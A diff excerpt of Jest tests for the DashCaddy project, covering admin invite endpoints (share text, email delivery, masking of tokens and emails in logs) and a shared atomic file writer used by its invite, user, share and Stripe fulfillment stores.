test('shareText is present and well-formed in every response', async () => {
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/auth/admin/invites')
|
|
||||||
.send({ email: 'friend@example.com', role: 'operator', ttlHours: 24 });
|
|
||||||
|
|
||||||
expect(res.body.shareText).toBeDefined();
|
|
||||||
expect(res.body.shareText).toContain('Join my DashCaddy');
|
|
||||||
expect(res.body.shareText).toContain('operator');
|
|
||||||
expect(res.body.shareText).toContain(res.body.acceptUrl);
|
|
||||||
expect(res.body.shareText).toContain('expires in 24h');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('acceptUrl is always returned regardless of sendEmail', async () => {
|
|
||||||
const r1 = await request(app)
|
|
||||||
.post('/api/v1/auth/admin/invites')
|
|
||||||
.send({ email: 'a@x.com', sendEmail: false });
|
|
||||||
const r2 = await request(app)
|
|
||||||
.post('/api/v1/auth/admin/invites')
|
|
||||||
.send({ email: 'b@x.com' });
|
|
||||||
expect(r1.body.acceptUrl).toBeTruthy();
|
|
||||||
expect(r2.body.acceptUrl).toBeTruthy();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('sendEmail: true triggers SMTP send when configured', async () => {
|
|
||||||
// Build a SECOND app instance where emailConfig is a real-looking object,
|
|
||||||
// so isConfigured() returns true. The first app uses emailConfig=null.
|
|
||||||
mockEmailSender.isConfigured.mockReturnValueOnce(true);
|
|
||||||
mockEmailSender.sendEmail.mockResolvedValueOnce(undefined);
|
|
||||||
const app2 = express();
|
|
||||||
app2.use(express.json());
|
|
||||||
app2.use((req, _res, next) => {
|
|
||||||
req.user = { id: 'admin-id', email: 'admin@sami-host.me', role: 'admin' };
|
|
||||||
req.app.locals = req.app.locals || {};
|
|
||||||
req.app.locals.siteConfig = {};
|
|
||||||
req.app.locals.emailConfig = { host: 'smtp.test', from: 'noreply@test' };
|
|
||||||
next();
|
|
||||||
});
|
|
||||||
const { createUserStore } = require('../src/security/user-store');
|
|
||||||
const userStore2 = createUserStore({ dataDir: dir });
|
|
||||||
await userStore2.login({ email: 'admin@sami-host.me' });
|
|
||||||
const router2 = require('../routes/auth/admin')({
|
|
||||||
asyncHandler: (fn) => (req, res, next) => Promise.resolve(fn(req, res, next)).catch(next),
|
|
||||||
errorResponse: (_res, code, msg) => ({ status: code, msg }),
|
|
||||||
log: { info() {}, warn: (t, m, meta) => logCalls.push({ level: 'warn', topic: t, msg: m, meta }), error() {} },
|
|
||||||
session: { isSessionValid: () => true, create: () => {}, setCookie: () => {} },
|
|
||||||
dataDir: dir,
|
|
||||||
});
|
|
||||||
app2.use('/api/v1/auth', router2);
|
|
||||||
|
|
||||||
const res = await request(app2)
|
|
||||||
.post('/api/v1/auth/admin/invites')
|
|
||||||
.send({ email: 'friend@example.com', role: 'viewer', sendEmail: true });
|
|
||||||
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(mockEmailSender.sendEmail).toHaveBeenCalledTimes(1);
|
|
||||||
const [_cfg, to, subject, text, html] = mockEmailSender.sendEmail.mock.calls[0];
|
|
||||||
expect(to).toBe('friend@example.com');
|
|
||||||
expect(subject).toMatch(/invited/i);
|
|
||||||
expect(text).toContain(res.body.acceptUrl);
|
|
||||||
expect(html).toContain(res.body.acceptUrl);
|
|
||||||
expect(res.body.deliveredVia).toBe('email');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('sendEmail: true + SMTP unconfigured returns deliveredVia:failed and does NOT leak token', async () => {
|
|
||||||
mockEmailSender.isConfigured.mockReturnValueOnce(false);
|
|
||||||
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/auth/admin/invites')
|
|
||||||
.send({ email: 'friend@example.com', role: 'operator', sendEmail: true });
|
|
||||||
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(mockEmailSender.sendEmail).not.toHaveBeenCalled();
|
|
||||||
expect(res.body.deliveredVia).toBe('failed');
|
|
||||||
// acceptUrl + shareText still present so the operator can share manually.
|
|
||||||
expect(res.body.acceptUrl).toBeTruthy();
|
|
||||||
expect(res.body.shareText).toBeTruthy();
|
|
||||||
// Token does NOT appear in any log call.
|
|
||||||
const token = res.body.acceptUrl.match(/invites\/([^/]+)\/accept/)[1];
|
|
||||||
const tokenLeaked = logCalls.some(c =>
|
|
||||||
typeof c.msg === 'string' && c.msg.includes(token)
|
|
||||||
);
|
|
||||||
expect(tokenLeaked).toBe(false);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('invalid role silently defaults to operator (DC-048 behavior preserved)', async () => {
|
|
||||||
// DC-048: the route's `(role && VALID_ROLES.has(role)) ? role : 'operator'`
|
|
||||||
// silently substitutes default rather than throwing. This test pins that
|
|
||||||
// behavior so a future "strict role validation" change is a deliberate
|
|
||||||
// decision, not a silent regression.
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/auth/admin/invites')
|
|
||||||
.send({ email: 'a@x.com', role: 'superuser' });
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(res.body.role).toBe('operator');
|
|
||||||
expect(mockEmailSender.sendEmail).not.toHaveBeenCalled();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('email validation: missing email still rejected', async () => {
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/auth/admin/invites')
|
|
||||||
.send({ role: 'operator' });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(mockEmailSender.sendEmail).not.toHaveBeenCalled();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('ttlHours: 1 still produces shareText with correct expiry wording', async () => {
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/auth/admin/invites')
|
|
||||||
.send({ email: 'a@x.com', ttlHours: 1 });
|
|
||||||
expect(res.body.shareText).toContain('expires in 1h');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('DC-089: SMTP-unconfigured warn log masks the invite email (no raw PII)', async () => {
|
|
||||||
mockEmailSender.isConfigured.mockReturnValueOnce(false);
|
|
||||||
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/auth/admin/invites')
|
|
||||||
.send({ email: 'friend@example.com', role: 'operator', sendEmail: true });
|
|
||||||
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(res.body.deliveredVia).toBe('failed');
|
|
||||||
const warn = logCalls.find(c =>
|
|
||||||
c.level === 'warn' && c.topic === 'auth-invite-send'
|
|
||||||
);
|
|
||||||
expect(warn).toBeDefined();
|
|
||||||
// The raw address must not appear; the masked form must.
|
|
||||||
expect(JSON.stringify(warn.meta)).not.toContain('friend@example.com');
|
|
||||||
expect(warn.meta.email).toBe('fr****@example.com');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('DC-089: invite-accepted info log masks the created user email (no raw PII)', async () => {
|
|
||||||
// Pre-authorize the email (POST /admin/users) so userStore.login doesn't
|
|
||||||
// reject with not_authorized — bootstrap already happened in beforeEach.
|
|
||||||
const preauth = await request(app)
|
|
||||||
.post('/api/v1/auth/admin/users')
|
|
||||||
.send({ email: 'newfriend@example.com' });
|
|
||||||
expect(preauth.status).toBe(200);
|
|
||||||
|
|
||||||
const issue = await request(app)
|
|
||||||
.post('/api/v1/auth/admin/invites')
|
|
||||||
.send({ email: 'newfriend@example.com', role: 'viewer' });
|
|
||||||
expect(issue.status).toBe(200);
|
|
||||||
const token = issue.body.acceptUrl.match(/invites\/([^/]+)\/accept/)[1];
|
|
||||||
|
|
||||||
const res = await request(app)
|
|
||||||
.post(`/api/v1/auth/invites/${token}/accept`)
|
|
||||||
.send({});
|
|
||||||
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
const info = logCalls.find(c =>
|
|
||||||
c.level === 'info' && c.msg === 'invite accepted, user created'
|
|
||||||
);
|
|
||||||
expect(info).toBeDefined();
|
|
||||||
expect(JSON.stringify(info.meta)).not.toContain('newfriend@example.com');
|
|
||||||
expect(info.meta.email).toBe('ne****@example.com');
|
|
||||||
});
|
|
||||||
});
|
|
||||||
@@ -1,484 +0,0 @@
|
|||||||
/**
|
|
||||||
* DC-099: canonical atomic file writer (src/utils/atomic-write.js).
|
|
||||||
*
|
|
||||||
* The notification config's two write paths (load-time canonicalization
|
|
||||||
* write-back and the UI saveConfig) used plain fs.writeFileSync — a crash or
|
|
||||||
* power loss mid-write could leave a truncated/empty notifications.json. The
|
|
||||||
* same risk exists in every store that grew its own private
|
|
||||||
* _atomicWriteJSON copy (invite-store, user-store, share-store, …).
|
|
||||||
*
|
|
||||||
* These tests pin the shared writer's contract:
|
|
||||||
* - durability: fsync before rename, exclusive create, 0600 default
|
|
||||||
* - atomicity: destination only ever replaced via rename
|
|
||||||
* - failure: destination untouched, temp cleaned up, error propagated
|
|
||||||
* - JSON helper: single serialization shape (2-space, no trailing newline —
|
|
||||||
* notification-manager._persistCanonicalForm depends on byte-for-byte
|
|
||||||
* idempotence)
|
|
||||||
*/
|
|
||||||
|
|
||||||
'use strict';
|
|
||||||
|
|
||||||
const fs = require('fs');
|
|
||||||
const os = require('os');
|
|
||||||
const path = require('path');
|
|
||||||
const { atomicWriteFile, atomicWriteJSON, tmpPathFor } = require('../src/utils/atomic-write');
|
|
||||||
|
|
||||||
// Real-FS tests: the actual syscalls, in a private temp dir.
|
|
||||||
describe('DC-099 atomic-write (real fs)', () => {
|
|
||||||
let dir;
|
|
||||||
|
|
||||||
beforeEach(() => {
|
|
||||||
dir = fs.mkdtempSync(path.join(os.tmpdir(), 'dc099-atomic-'));
|
|
||||||
});
|
|
||||||
|
|
||||||
afterEach(() => {
|
|
||||||
fs.rmSync(dir, { recursive: true, force: true });
|
|
||||||
});
|
|
||||||
|
|
||||||
test('writes contents and returns the final path', () => {
|
|
||||||
const target = path.join(dir, 'state.json');
|
|
||||||
const ret = atomicWriteFile(target, '{"a":1}');
|
|
||||||
expect(ret).toBe(target);
|
|
||||||
expect(fs.readFileSync(target, 'utf8')).toBe('{"a":1}');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('replaces an existing file completely (no torn writes possible)', () => {
|
|
||||||
const target = path.join(dir, 'state.json');
|
|
||||||
atomicWriteFile(target, 'x'.repeat(1000));
|
|
||||||
atomicWriteFile(target, 'y'.repeat(10));
|
|
||||||
expect(fs.readFileSync(target, 'utf8')).toBe('y'.repeat(10));
|
|
||||||
});
|
|
||||||
|
|
||||||
test('creates the file 0600 by default', () => {
|
|
||||||
const target = path.join(dir, 'secret.json');
|
|
||||||
atomicWriteJSON(target, { ok: true });
|
|
||||||
expect(fs.statSync(target).mode & 0o777).toBe(0o600);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('honors an explicit mode override', () => {
|
|
||||||
const target = path.join(dir, 'public.json');
|
|
||||||
atomicWriteFile(target, '{}', { mode: 0o644 });
|
|
||||||
expect(fs.statSync(target).mode & 0o777).toBe(0o644);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('leaves no temp files behind after success', () => {
|
|
||||||
const target = path.join(dir, 'state.json');
|
|
||||||
atomicWriteFile(target, 'abc');
|
|
||||||
expect(fs.readdirSync(dir).filter((f) => f.includes('.tmp-'))).toEqual([]);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('two rapid writes both land (unique tmp names per write)', () => {
|
|
||||||
const target = path.join(dir, 'state.json');
|
|
||||||
atomicWriteFile(target, 'first');
|
|
||||||
atomicWriteFile(target, 'second');
|
|
||||||
expect(fs.readFileSync(target, 'utf8')).toBe('second');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('atomicWriteJSON serializes 2-space, no trailing newline', () => {
|
|
||||||
const target = path.join(dir, 'conf.json');
|
|
||||||
atomicWriteJSON(target, { a: { b: 1 } });
|
|
||||||
const raw = fs.readFileSync(target, 'utf8');
|
|
||||||
expect(raw).toBe('{\n "a": {\n "b": 1\n }\n}');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('write failure leaves the destination untouched and cleans the temp file', () => {
|
|
||||||
const target = path.join(dir, 'state.json');
|
|
||||||
fs.writeFileSync(target, 'ORIGINAL');
|
|
||||||
const origWrite = fs.writeSync;
|
|
||||||
fs.writeSync = () => {
|
|
||||||
throw Object.assign(new Error('ENOSPC: no space left on device'), { code: 'ENOSPC' });
|
|
||||||
};
|
|
||||||
try {
|
|
||||||
expect(() => atomicWriteFile(target, 'NEW-CONTENT')).toThrow(/ENOSPC/);
|
|
||||||
} finally {
|
|
||||||
fs.writeSync = origWrite;
|
|
||||||
}
|
|
||||||
expect(fs.readFileSync(target, 'utf8')).toBe('ORIGINAL');
|
|
||||||
expect(fs.readdirSync(dir).filter((f) => f.includes('.tmp-'))).toEqual([]);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('tmpPathFor: unique per call, hidden dotfile in the same directory', () => {
|
|
||||||
const a = tmpPathFor('/data/x.json');
|
|
||||||
const b = tmpPathFor('/data/x.json');
|
|
||||||
expect(a).not.toBe(b);
|
|
||||||
expect(path.dirname(a)).toBe('/data');
|
|
||||||
expect(path.basename(a)).toMatch(/^\.x\.json\.tmp-/);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
// Mocked-FS tests: pin the syscall DISCIPLINE itself (order + flags), which
|
|
||||||
// the real-fs tests can't observe directly.
|
|
||||||
describe('DC-099 atomic-write syscall discipline (mocked fs)', () => {
|
|
||||||
const calls = [];
|
|
||||||
|
|
||||||
beforeEach(() => {
|
|
||||||
calls.length = 0;
|
|
||||||
const rec = (name, impl) =>
|
|
||||||
jest.spyOn(fs, name).mockImplementation((...args) => {
|
|
||||||
calls.push(name);
|
|
||||||
return impl(...args);
|
|
||||||
});
|
|
||||||
rec('openSync', () => 3);
|
|
||||||
rec('writeSync', () => 8);
|
|
||||||
rec('fsyncSync', () => {});
|
|
||||||
rec('closeSync', () => {});
|
|
||||||
rec('renameSync', () => {});
|
|
||||||
rec('unlinkSync', () => {});
|
|
||||||
});
|
|
||||||
|
|
||||||
afterEach(() => {
|
|
||||||
jest.restoreAllMocks();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('order: open → write → fsync → close → rename, then dir fsync (open → fsync → close)', () => {
|
|
||||||
atomicWriteFile('/data/x.json', '{"a":1}');
|
|
||||||
expect(calls).toEqual([
|
|
||||||
'openSync', 'writeSync', 'fsyncSync', 'closeSync', 'renameSync',
|
|
||||||
'openSync', 'fsyncSync', 'closeSync',
|
|
||||||
]);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('dir fsync opens the PARENT directory (second openSync), not another tmp file', () => {
|
|
||||||
atomicWriteFile('/data/x.json', '{}');
|
|
||||||
const dirOpen = fs.openSync.mock.calls[1];
|
|
||||||
expect(dirOpen[0]).toBe('/data');
|
|
||||||
expect(dirOpen[1]).toBe('r');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('dir fsync failure is swallowed (write still succeeds)', () => {
|
|
||||||
let n = 0;
|
|
||||||
fs.fsyncSync.mockImplementation(() => {
|
|
||||||
n += 1;
|
|
||||||
if (n === 2) throw new Error('EINVAL: invalid argument'); // 2nd fsync = dir
|
|
||||||
});
|
|
||||||
expect(() => atomicWriteFile('/data/x.json', '{}')).not.toThrow();
|
|
||||||
expect(fs.renameSync).toHaveBeenCalled();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('open uses exclusive-create with the 0600 default on the tmp path', () => {
|
|
||||||
atomicWriteFile('/data/x.json', '{}');
|
|
||||||
const [tmpPath, flags, modeArg] = fs.openSync.mock.calls[0];
|
|
||||||
expect(tmpPath).toMatch(/^\/data\/\.x\.json\.tmp-/);
|
|
||||||
expect(flags).toBe('wx');
|
|
||||||
expect(modeArg).toBe(0o600);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('write passes the payload with utf8 encoding', () => {
|
|
||||||
atomicWriteFile('/data/x.json', '{"a":1}');
|
|
||||||
expect(fs.writeSync.mock.calls[0]).toEqual([3, '{"a":1}', null, 'utf8']);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rename swaps a same-dir temp onto the target', () => {
|
|
||||||
atomicWriteFile('/data/x.json', '{}');
|
|
||||||
const [tmp, dest] = fs.renameSync.mock.calls[0];
|
|
||||||
expect(tmp).toMatch(/\/data\/\.x\.json\.tmp-/);
|
|
||||||
expect(dest).toBe('/data/x.json');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rename failure unlinks the temp and propagates the error', () => {
|
|
||||||
fs.renameSync.mockImplementation(() => {
|
|
||||||
calls.push('renameSync');
|
|
||||||
throw new Error('EXDEV: cross-device link not permitted');
|
|
||||||
});
|
|
||||||
expect(() => atomicWriteFile('/data/x.json', '{}')).toThrow(/EXDEV/);
|
|
||||||
expect(calls).toEqual([
|
|
||||||
'openSync', 'writeSync', 'fsyncSync', 'closeSync', 'renameSync', 'unlinkSync',
|
|
||||||
]);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('open failure propagates without write/rename (nothing was created)', () => {
|
|
||||||
fs.openSync.mockImplementation(() => {
|
|
||||||
calls.push('openSync');
|
|
||||||
throw new Error('EACCES: permission denied');
|
|
||||||
});
|
|
||||||
expect(() => atomicWriteFile('/data/x.json', '{}')).toThrow(/EACCES/);
|
|
||||||
// best-effort unlink of the never-created temp, then stop
|
|
||||||
expect(calls).toEqual(['openSync', 'unlinkSync']);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
// DC-100: invite-store migrated off its private _atomicWriteJSON copy onto
|
|
||||||
// the canonical writer. Store-level pins: writes are durable-canonical
|
|
||||||
// (0600, complete JSON, no temp leftovers) even under back-to-back mutations
|
|
||||||
// — the access pattern that could collide tmp names in the naive copy.
|
|
||||||
describe('DC-100 invite-store on canonical atomic-write (real fs)', () => {
|
|
||||||
let dir, store;
|
|
||||||
|
|
||||||
beforeEach(() => {
|
|
||||||
dir = fs.mkdtempSync(path.join(os.tmpdir(), 'dc100-invite-'));
|
|
||||||
store = require('../src/security/invite-store').createInviteStore({ dataDir: dir });
|
|
||||||
});
|
|
||||||
afterEach(() => { try { fs.rmSync(dir, { recursive: true, force: true }); } catch (_) {} });
|
|
||||||
|
|
||||||
test('issued invite lands as complete JSON at mode 0600 with no temp leftovers', async () => {
|
|
||||||
const r = await store.issue({ email: 'dc100@x.com', ttlMs: 60_000 });
|
|
||||||
expect(r.ok).toBe(true);
|
|
||||||
const file = path.join(dir, 'invites.json');
|
|
||||||
const st = fs.statSync(file);
|
|
||||||
expect(st.mode & 0o777).toBe(0o600);
|
|
||||||
const data = JSON.parse(fs.readFileSync(file, 'utf8'));
|
|
||||||
expect(Object.keys(data.invites)).toHaveLength(1);
|
|
||||||
const leftovers = fs.readdirSync(dir).filter((f) => f !== 'invites.json');
|
|
||||||
expect(leftovers).toEqual([]);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('back-to-back mutations (issue, revoke, issue) never collide on tmp names', async () => {
|
|
||||||
const a = await store.issue({ email: 'a@x.com', ttlMs: 60_000 });
|
|
||||||
const b = await store.issue({ email: 'b@x.com', ttlMs: 60_000 });
|
|
||||||
await store.revoke(a.id);
|
|
||||||
const c = await store.issue({ email: 'c@x.com', ttlMs: 60_000 });
|
|
||||||
expect(b.ok).toBe(true);
|
|
||||||
expect(c.ok).toBe(true);
|
|
||||||
const data = JSON.parse(fs.readFileSync(path.join(dir, 'invites.json'), 'utf8'));
|
|
||||||
expect(Object.keys(data.invites).sort()).toEqual([b.id, c.id].sort());
|
|
||||||
const leftovers = fs.readdirSync(dir).filter((f) => f !== 'invites.json');
|
|
||||||
expect(leftovers).toEqual([]);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
// DC-101: user-store migrated off its private _atomicWriteJSON copy onto
|
|
||||||
// the canonical writer. Store-level pins across ALL THREE persisted files
|
|
||||||
// (users.json, authorized-users.json, .bootstrapped sentinel): 0600 mode,
|
|
||||||
// complete JSON, no temp leftovers — including the bootstrap path that
|
|
||||||
// writes two JSON files plus the sentinel back-to-back in one login.
|
|
||||||
describe('DC-101 user-store on canonical atomic-write (real fs)', () => {
|
|
||||||
let dir, store;
|
|
||||||
|
|
||||||
beforeEach(() => {
|
|
||||||
dir = fs.mkdtempSync(path.join(os.tmpdir(), 'dc101-user-'));
|
|
||||||
store = require('../src/security/user-store').createUserStore({ dataDir: dir });
|
|
||||||
});
|
|
||||||
afterEach(() => { try { fs.rmSync(dir, { recursive: true, force: true }); } catch (_) {} });
|
|
||||||
|
|
||||||
test('bootstrap login persists users.json + allowlist + sentinel at 0600, complete JSON, no leftovers', async () => {
|
|
||||||
const r = await store.login({ email: 'dc101@x.com', ip: '10.0.0.1' });
|
|
||||||
expect(r.ok).toBe(true);
|
|
||||||
expect(r.isBootstrap).toBe(true);
|
|
||||||
|
|
||||||
const usersSt = fs.statSync(path.join(dir, 'users.json'));
|
|
||||||
const allowSt = fs.statSync(path.join(dir, 'authorized-users.json'));
|
|
||||||
const sentSt = fs.statSync(path.join(dir, '.bootstrapped'));
|
|
||||||
expect(usersSt.mode & 0o777).toBe(0o600);
|
|
||||||
expect(allowSt.mode & 0o777).toBe(0o600);
|
|
||||||
expect(sentSt.mode & 0o777).toBe(0o600);
|
|
||||||
|
|
||||||
const users = JSON.parse(fs.readFileSync(path.join(dir, 'users.json'), 'utf8'));
|
|
||||||
expect(Object.keys(users.users)).toHaveLength(1);
|
|
||||||
expect(users.users[users.order[0]].role).toBe('admin');
|
|
||||||
const allowlist = JSON.parse(fs.readFileSync(path.join(dir, 'authorized-users.json'), 'utf8'));
|
|
||||||
expect(allowlist.emails).toEqual(['dc101@x.com']);
|
|
||||||
const sentinel = JSON.parse(fs.readFileSync(path.join(dir, '.bootstrapped'), 'utf8'));
|
|
||||||
expect(sentinel.adminEmail).toBe('dc101@x.com');
|
|
||||||
|
|
||||||
const leftovers = fs.readdirSync(dir).filter(
|
|
||||||
(f) => f !== 'users.json' && f !== 'authorized-users.json' && f !== '.bootstrapped'
|
|
||||||
);
|
|
||||||
expect(leftovers).toEqual([]);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('back-to-back mutations (login, allowlist add/remove, role set) never collide on tmp names', async () => {
|
|
||||||
const a = await store.login({ email: 'admin@x.com' });
|
|
||||||
expect(a.isBootstrap).toBe(true);
|
|
||||||
await store.addToAllowlist('b@x.com');
|
|
||||||
const b = await store.login({ email: 'b@x.com' });
|
|
||||||
expect(b.ok).toBe(true);
|
|
||||||
expect(b.role).toBe('operator');
|
|
||||||
await store.setRole(b.user.id, 'viewer');
|
|
||||||
await store.removeFromAllowlist('b@x.com');
|
|
||||||
|
|
||||||
const users = JSON.parse(fs.readFileSync(path.join(dir, 'users.json'), 'utf8'));
|
|
||||||
expect(users.users[b.user.id].role).toBe('viewer');
|
|
||||||
const allowlist = JSON.parse(fs.readFileSync(path.join(dir, 'authorized-users.json'), 'utf8'));
|
|
||||||
expect(allowlist.emails).toEqual(['admin@x.com']);
|
|
||||||
|
|
||||||
const leftovers = fs.readdirSync(dir).filter(
|
|
||||||
(f) => f !== 'users.json' && f !== 'authorized-users.json' && f !== '.bootstrapped'
|
|
||||||
);
|
|
||||||
expect(leftovers).toEqual([]);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
// DC-102: share-store migrated off its private _atomicWriteJSON copy onto
|
|
||||||
// the canonical writer. Store-level pins: shares.json AND the .share-secret
|
|
||||||
// signing key land as complete content at mode 0600 with no temp leftovers —
|
|
||||||
// a torn secret write would silently rotate the key and invalidate every
|
|
||||||
// outstanding share signature on next boot.
|
|
||||||
describe('DC-102 share-store on canonical atomic-write (real fs)', () => {
|
|
||||||
let dir, store;
|
|
||||||
|
|
||||||
beforeEach(() => {
|
|
||||||
dir = fs.mkdtempSync(path.join(os.tmpdir(), 'dc102-share-'));
|
|
||||||
store = require('../src/security/share-store').createShareStore({ dataDir: dir });
|
|
||||||
});
|
|
||||||
afterEach(() => { try { fs.rmSync(dir, { recursive: true, force: true }); } catch (_) {} });
|
|
||||||
|
|
||||||
test('issued share + persisted signing secret land at 0600, complete, no temp leftovers', async () => {
|
|
||||||
const r = await store.issuePublic({ serviceId: 'svc', ttlMs: 60 * 60 * 1000 });
|
|
||||||
expect(r.ok).toBe(true);
|
|
||||||
|
|
||||||
const sharesFile = path.join(dir, 'shares.json');
|
|
||||||
const secretFile = path.join(dir, '.share-secret');
|
|
||||||
const sharesSt = fs.statSync(sharesFile);
|
|
||||||
const secretSt = fs.statSync(secretFile);
|
|
||||||
expect(sharesSt.mode & 0o777).toBe(0o600);
|
|
||||||
expect(secretSt.mode & 0o777).toBe(0o600);
|
|
||||||
|
|
||||||
// complete JSON — a torn write would fail JSON.parse right here
|
|
||||||
const data = JSON.parse(fs.readFileSync(sharesFile, 'utf8'));
|
|
||||||
expect(Object.keys(data.shares)).toHaveLength(1);
|
|
||||||
// complete secret — readable, 32+ bytes after trim, trailing newline kept
|
|
||||||
const secret = fs.readFileSync(secretFile, 'utf8');
|
|
||||||
expect(secret.trim().length).toBeGreaterThanOrEqual(32);
|
|
||||||
expect(secret.endsWith('\n')).toBe(true);
|
|
||||||
|
|
||||||
const leftovers = fs.readdirSync(dir).filter((f) => f !== 'shares.json' && f !== '.share-secret');
|
|
||||||
expect(leftovers).toEqual([]);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('back-to-back mutations (issue x2, subscribe, tailscale use, revoke) never collide on tmp names', async () => {
|
|
||||||
const a = await store.issuePublic({ serviceId: 'svc', subscribeCap: 5 });
|
|
||||||
const b = await store.issueTailscale({ serviceId: 'svc', email: 'dc102@x.com' });
|
|
||||||
await store.recordPublicSubscribe(a.token, { email: 'sub@x.com' });
|
|
||||||
await store.recordTailscaleUse(b.token, { deviceId: 'device-1' });
|
|
||||||
await store.revoke(a.id);
|
|
||||||
|
|
||||||
// b remains outstanding and fully redeemable state on disk
|
|
||||||
const data = JSON.parse(fs.readFileSync(path.join(dir, 'shares.json'), 'utf8'));
|
|
||||||
expect(Object.keys(data.shares)).toEqual([b.id]);
|
|
||||||
expect(data.shares[b.id].usedAt).toBeTruthy();
|
|
||||||
expect(data.shares[b.id].usedBy).toBe('device-1');
|
|
||||||
|
|
||||||
// signature verification still passes against the atomically persisted
|
|
||||||
// secret — getRaw checks hash + HMAC only (not used-state), so a rotated
|
|
||||||
// or torn secret would return null here.
|
|
||||||
const raw = await store.getRaw(b.token);
|
|
||||||
expect(raw).toBeTruthy();
|
|
||||||
expect(raw.id).toBe(b.id);
|
|
||||||
expect(raw.kind).toBe('tailscale');
|
|
||||||
|
|
||||||
const leftovers = fs.readdirSync(dir).filter((f) => f !== 'shares.json' && f !== '.share-secret');
|
|
||||||
expect(leftovers).toEqual([]);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
// DC-103: fulfillment-store (Stripe license state, shared file-IPC between
|
|
||||||
// the API's lookup endpoint and the stripe-license-bridge process) migrated
|
|
||||||
// off its private tmp+rename copy onto the canonical writer. Pins: the file
|
|
||||||
// lands at 0600, parses as complete JSON after every mutation class, and no
|
|
||||||
// temp files survive — a torn write here would make a webhook retry mint a
|
|
||||||
// SECOND valid license key for an order that already has one.
|
|
||||||
describe('DC-103 fulfillment-store on canonical atomic-write (real fs)', () => {
|
|
||||||
let dir, store;
|
|
||||||
|
|
||||||
beforeEach(() => {
|
|
||||||
dir = fs.mkdtempSync(path.join(os.tmpdir(), 'dc103-fulfill-'));
|
|
||||||
store = require('../src/billing/fulfillment-store').createFulfillmentStore({ filePath: path.join(dir, 'stripe-fulfillments.json') });
|
|
||||||
});
|
|
||||||
afterEach(() => { try { fs.rmSync(dir, { recursive: true, force: true }); } catch (_) {} });
|
|
||||||
|
|
||||||
test('claim → saveLicense → claimDelivery → markDelivered lands at 0600, complete JSON, no temp leftovers', async () => {
|
|
||||||
const claimed = await store.claim({ eventId: 'evt_dc103', sessionId: 'cs_dc103', productId: 'pro-30d', durationDays: 30, email: 'dc103@x.com' });
|
|
||||||
expect(claimed.claimed).toBe(true);
|
|
||||||
const saved = await store.saveLicense({ eventId: 'evt_dc103', sessionId: 'cs_dc103', code: 'DC103-KEY-XXXX', codeId: 'kg_dc103' });
|
|
||||||
expect(saved.saved).toBe(true);
|
|
||||||
const delivery = await store.claimDelivery({ sessionId: 'cs_dc103', ownerToken: 'own_1' });
|
|
||||||
expect(delivery.claimed).toBe(true);
|
|
||||||
const delivered = await store.markDelivered({ sessionId: 'cs_dc103', ownerToken: 'own_1', deliveredVia: 'smtp' });
|
|
||||||
expect(delivered.saved).toBe(true);
|
|
||||||
|
|
||||||
const file = path.join(dir, 'stripe-fulfillments.json');
|
|
||||||
const st = fs.statSync(file);
|
|
||||||
expect(st.mode & 0o777).toBe(0o600);
|
|
||||||
|
|
||||||
// complete JSON carrying the full lifecycle — a torn write would fail
|
|
||||||
// JSON.parse right here
|
|
||||||
const data = JSON.parse(fs.readFileSync(file, 'utf8'));
|
|
||||||
expect(data.bySessionId['cs_dc103'].status).toBe('delivered');
|
|
||||||
expect(data.bySessionId['cs_dc103'].code).toBe('DC103-KEY-XXXX');
|
|
||||||
expect(data.bySessionId['cs_dc103'].eventId).toBe('evt_dc103');
|
|
||||||
// both index maps point at the same record
|
|
||||||
expect(data.byEventId['evt_dc103'].sessionId).toBe('cs_dc103');
|
|
||||||
|
|
||||||
const leftovers = fs.readdirSync(dir).filter((f) => f !== 'stripe-fulfillments.json');
|
|
||||||
expect(leftovers).toEqual([]);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('back-to-back mutations across separate store instances never collide on tmp names', async () => {
|
|
||||||
// Two processes share this file (bridge + API lookup). Two store
|
|
||||||
// instances writing interleaved must never collide on the same tmp name
|
|
||||||
// (the counter is per-process, so cross-instance is the real pin).
|
|
||||||
const storeA = require('../src/billing/fulfillment-store').createFulfillmentStore({ filePath: path.join(dir, 'stripe-fulfillments.json') });
|
